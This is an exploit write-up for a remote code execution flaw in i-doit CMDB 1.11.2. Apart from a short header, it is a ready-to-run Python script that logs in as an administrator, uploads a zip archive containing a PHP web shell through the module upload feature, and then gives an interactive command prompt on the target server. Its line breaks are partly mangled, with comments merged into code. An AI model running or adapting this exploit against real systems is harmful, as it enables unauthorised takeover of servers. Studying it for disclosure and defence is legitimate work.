# Exploit Title: i-doit CMDB 1.11.2 - Remote Code Execution# Date: 2018-12-05# Exploit Author: Özkan Mustafa Akkuş (AkkuS)# Contact: https://pentest.com.tr# Vendor Homepage: https://www.i-doit.org/# Software Link: https://www.i-doit.org/i-doit-open-1-11-2/# Version: v1.11.2# Category: Webapps# Tested on: XAMPP for Linux 5.6.38-0# Software Description : The IT-documentation solution i-doit is based on a# complete open# source configuration management and database. Using i-doit as a CMDB you# can manage your IT according to ITIL best practices and configurate the significant# components of your IT environment# Description : This application has an upload feature that allows an# authenticated user with administrator# roles to upload arbitrary files to the main website directory.# ==================================================================# PoC: Exploit upload the ".php" file in the ".zip" file to Remote Code Execution.# i-doit accepts zip files as a plugin and extract them to the main# directory. In order for the ".zip" file to be accepted by the application, it must# contain a file named "package.json#!/usr/bin/pythonimport mechanize
import sys
import cookielib
import requests
import colorama
from colorama import Fore
print"\n############################################################################"print"# i-doit CMDB & ITSM 1.11.2 Remote Code Execution - Remote Code Execution #"print"# Vulnerability discovered byvAkkuS #"print"# My Blog - https://www.pentest.com.tr #"print"############################################################################\n"if(len(sys.argv)!=2):print"[*] Usage: poc.py <RHOST>"
exit(0)
rhost = sys.argv[1]# User Information Input
UserName =str(raw_input("User Name: "))
Password =str(raw_input("Password: "))# Login into siteprint(Fore.BLUE +"+ [*] Loging in...")
br = mechanize.Browser()
br.set_handle_robots(False)# Cookie Jar
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
br.open("http://"+rhost+"/admin/")assert br.viewing_html()
br.select_form(nr=0)
br.form['username']= UserName
br.form['password']= Password
br.submit()
title = br.title()print(Fore.YELLOW +"+ [*] You're in "+title+" section of the app now")# Arbitrary ".php" File Upload Records with multipart/form-data to RCE
rce_headers ={"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type": "multipart/form-data;
boundary=---------------------------13859713751632544601258659337"}
rce_data="-----------------------------13859713751632544601258659337\r\nContent-Disposition:
form-data;
name=\"action\"\r\n\r\nadd\r\n-----------------------------13859713751632544601258659337\r\nContent-Disposition:
form-data;
name=\"mandator\"\r\n\r\n0\r\n-----------------------------13859713751632544601258659337\r\nContent-Disposition:
form-data; name=\"module_file\"; filename=\"test.zip\"\r\nContent-Type:
application/zip\r\n\r\nPK\x03\x04\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00
\x00package.jsonUT\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x03\x00PK\x07\x08\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00G\x87{M\x00\x00\x00\x00\x00\x00\x00\x00\xdc\x01\x00\x00\t\x00
\x00shell.phpUT\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x95\x91\xcbj\xc30\x10E\xf7\xfa\x8a\xc1\x18,\xd3\xe6\x0b\xd2G6I)d\x15\xb2+e\x10\xf2\xb8\x16\xd1#x\xe4<\x08\xf9\xf7:\x8d\xe3\xb8M\xbb\xe8JH\xf7\xce\xbdg\xd0\xc3\xf3\xbaZ\x8b4V\x86\xb14\x96\xe0\x11\x10g\xaf\xf3)\xe2XLx\xcf\x91\x9cLt\xe5B\x01\xcdG\x18m\xe1\xeaM\xf2o\x16\x15c\rw\xe6\x87!\xd5\xc19\xe5\x8b68\xc5\x97\xe9\xf2-\xd1\xaeH\xde\xc7B\x98\x12\xa4\xb6\x8a\x19ig8\xb2\xcc\x16TZ\xd2\xd1\x04?k\xfc\xd7\x99\xe59\x1c\x84\x00\x80\xb4\xec\x9e\xda
O[\xb8\xf5\xca\xec\xcc\x92\xb5\xad\xc3\x81\xd1\x93\xf1\x9b\xb0\"yAiuq\x04\xb2L'\x84\x8b\xad\xa7\xd0\xcaZl\x98j<I\xa8\xeaZ\xed\xaf\x1c\xbf\xa9}\xf3=\x9c\xef}\xd3\xbf\xaa\xfe*\x19\xc4\xdf\xae\xd0Mt\xdf0\xd0\x8f\xe2\x13PK\x07\x08\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x0c\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00package.jsonUT\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00G\x87{M\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00\t\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\\\x00\x00\x00shell.phpUT\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xb1\x00\x00\x00\x91\x01\x00\x00\x00\x00\r\n-----------------------------13859713751632544601258659337--\r\n"
upload = requests.post("http://"+rhost+"/admin/?req=modules&action=add",
headers=rce_headers, cookies=cj, data=rce_data)# Upload Controlif upload.status_code ==200:print(Fore.GREEN +"+ [*] Shell successfully uploaded!")# Command ExecutewhileTrue:
shellctrl = requests.get("http://"+rhost+"/shell.php")if shellctrl.status_code ==200:
Command =str(raw_input(Fore.WHITE +"shell> "))
URL = requests.get("http://"+rhost+"/shell.php?cmd="+Command+"")print URL.text
else:print(Fore.RED +"+ [X] Unable to upload or access the shell")
sys.exit()# end